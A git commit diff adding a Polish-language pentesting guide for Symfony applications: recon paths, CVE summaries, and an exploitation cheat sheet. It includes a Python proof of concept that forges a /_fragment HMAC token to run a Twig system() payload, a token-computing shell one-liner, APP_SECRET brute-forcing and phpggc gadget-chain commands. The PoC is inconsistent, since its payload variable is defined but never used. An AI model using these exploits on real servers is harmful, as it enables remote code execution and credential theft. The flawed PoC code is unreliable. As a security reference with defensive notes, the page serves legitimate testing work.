Translated ['src/network-services-pentesting/pentesting-web/symphony.md'

This commit is contained in:
Translator 2025-07-23 10:26:11 +00:00
parent 3aae561f0d
commit ec2ae51106

View File

@ -2,10 +2,123 @@
{{#include ../../banners/hacktricks-training.md}}
Zobacz następujące posty:
Symfony jest jednym z najczęściej używanych frameworków PHP i regularnie pojawia się w ocenach celów przedsiębiorstw, e-commerce i CMS (Drupal, Shopware, Ibexa, OroCRM … wszystkie zawierają komponenty Symfony). Ta strona zbiera ofensywne wskazówki, powszechne błędy konfiguracyjne i niedawne luki, które powinny znaleźć się na twojej liście kontrolnej, gdy odkryjesz aplikację Symfony.
- [**https://www.ambionics.io/blog/symfony-secret-fragment**](https://www.ambionics.io/blog/symfony-secret-fragment)
- [**hhttps://blog.flatt.tech/entry/2020/11/02/124807**](https://blog.flatt.tech/entry/2020/11/02/124807)
- [**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144)
> Uwaga historyczna: Duża część ekosystemu nadal działa na gałęzi **5.4 LTS** (EOL **listopad 2025**). Zawsze weryfikuj dokładną wersję minor, ponieważ wiele poradników dotyczących bezpieczeństwa z lat 2023-2025 naprawiono tylko w wydaniach poprawek (np. 5.4.46 → 5.4.50).
---
## Recon & Enumeration
### Finger-printing
* Nagłówki odpowiedzi HTTP: `X-Powered-By: Symfony`, `X-Debug-Token`, `X-Debug-Token-Link` lub ciasteczka zaczynające się od `sf_redirect`, `sf_session`, `MOCKSESSID`.
* Wycieki kodu źródłowego (`composer.json`, `composer.lock`, `/vendor/…`) często ujawniają dokładną wersję:
```bash
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
```
* Publiczne trasy, które istnieją tylko w Symfony:
* `/_profiler` (Symfony **Profiler** & debug toolbar)
* `/_wdt/<token>` (“Web Debug Toolbar”)
* `/_error/{code}.{_format}` (ładne strony błędów)
* `/app_dev.php`, `/config.php`, `/config_dev.php` (pre-4.0 dev front-controllers)
* Wappalyzer, BuiltWith lub listy słów ffuf/feroxbuster: `symfony.txt` → szukaj `/_fragment`, `/_profiler`, `.env`, `.htaccess`.
### Interesujące pliki i punkty końcowe
| Ścieżka | Dlaczego to ważne |
|------|----------------|
| `/.env`, `/.env.local`, `/.env.prod` | Często źle wdrożone → wycieki `APP_SECRET`, dane DB, SMTP, klucze AWS |
| `/.git`, `.svn`, `.hg` | Ujawnienie źródła → dane uwierzytelniające + logika biznesowa |
| `/var/log/*.log`, `/log/dev.log` | Błędna konfiguracja web-root ujawnia stack-traces |
| `/_profiler` | Pełna historia żądań, konfiguracja, kontener usług, **APP_SECRET** (≤ 3.4) |
| `/_fragment` | Punkt wejścia używany przez ESI/HInclude. Możliwość nadużycia, gdy znasz `APP_SECRET` |
| `/vendor/phpunit/phpunit/phpunit` | PHPUnit RCE, jeśli dostępne (CVE-2017-9841) |
| `/index.php/_error/{code}` | Finger-print & czasami wyciek śladów wyjątków |
---
## Wysokiego wpływu luki (2023-2025)
### 1. Ujawnienie APP_SECRET ➜ RCE przez `/_fragment` (znane jako “secret-fragment”)
* **CVE-2019-18889** pierwotnie, ale *nadal* pojawia się na nowoczesnych celach, gdy debugowanie jest włączone lub `.env` jest ujawnione.
* Gdy znasz 32-znakowy `APP_SECRET`, stwórz token HMAC i nadużyj wewnętrznego kontrolera `render()`, aby wykonać dowolny Twig:
```python
# PoC wymaga sekretu
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # RCE w Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
```
* Doskonały artykuł i skrypt do eksploatacji: blog Ambionics (link w Referencjach).
### 2. Windows Process Hijack CVE-2024-51736
* Komponent `Process` przeszukiwał bieżący katalog roboczy **przed** `PATH` w systemie Windows. Atakujący, który może przesłać `tar.exe`, `cmd.exe` itp. do zapisywalnego web-root i wywołać `Process` (np. ekstrakcja plików, generowanie PDF) zyskuje możliwość wykonania poleceń.
* Naprawione w 5.4.50, 6.4.14, 7.1.7.
### 3. Session-Fixation CVE-2023-46733
* Guard uwierzytelniający ponownie używał istniejącego identyfikatora sesji po zalogowaniu. Jeśli atakujący ustawi ciasteczko **przed** uwierzytelnieniem ofiary, przejmuje konto po zalogowaniu.
### 4. Twig sandbox XSS CVE-2023-46734
* W aplikacjach, które ujawniają szablony kontrolowane przez użytkowników (admin CMS, kreator e-maili), filtr `nl2br` mógł być nadużyty do obejścia sandboxa i wstrzyknięcia JS.
### 5. Symfony 1 gadget chains (nadal występują w aplikacjach legacy)
* `phpggc symfony/1 system id` produkuje ładunek Phar, który wywołuje RCE, gdy następuje unserialize() na klasach takich jak `sfNamespacedParameterHolder`. Sprawdź punkty końcowe przesyłania plików i opakowania `phar://`.
{{#ref}}
../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
{{#endref}}
---
## Arkusz oszustw dotyczący eksploatacji
### Oblicz token HMAC dla `/_fragment`
```bash
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
```
### Bruteforce słabego `APP_SECRET`
```bash
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
```
### RCE przez wystawiony Symfony Console
Jeśli `bin/console` jest dostępny przez `php-fpm` lub bezpośredni upload CLI:
```bash
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
```
Użyj gadżetów deserializacji w katalogu pamięci podręcznej lub napisz złośliwy szablon Twig, który zostanie wykonany przy następnym żądaniu.
---
## Uwagi defensywne
1. **Nigdy nie wdrażaj debugowania** (`APP_ENV=dev`, `APP_DEBUG=1`) na produkcję; zablokuj `/app_dev.php`, `/_profiler`, `/_wdt` w konfiguracji serwera WWW.
2. Przechowuj sekrety w zmiennych środowiskowych lub `vault/secrets.local.php`, *nigdy* w plikach dostępnych przez katalog główny dokumentów.
3. Wymuszaj zarządzanie łatkami subskrybuj powiadomienia o bezpieczeństwie Symfony i utrzymuj przynajmniej poziom łatki LTS.
4. Jeśli działasz na Windows, natychmiast zaktualizuj, aby złagodzić CVE-2024-51736 lub dodaj obronę w głębokości `open_basedir`/`disable_functions`.
---
### Przydatne narzędzia ofensywne
* **ambionics/symfony-exploits** zdalne wykonanie kodu z fragmentem sekretnym, odkrywanie tras debugera.
* **phpggc** gotowe łańcuchy gadżetów dla Symfony 1 i 2.
* **sf-encoder** mały pomocnik do obliczania HMAC `_fragment` (implementacja w Go).
## Odniesienia
* [Ambionics Symfony “secret-fragment” Remote Code Execution](https://www.ambionics.io/blog/symfony-secret-fragment)
* [Symfony Security Advisory CVE-2024-51736: Command Execution Hijack on Windows Process Component](https://symfony.com/blog/cve-2024-51736-command-execution-hijack-on-windows-with-process-class)
{{#include ../../banners/hacktricks-training.md}}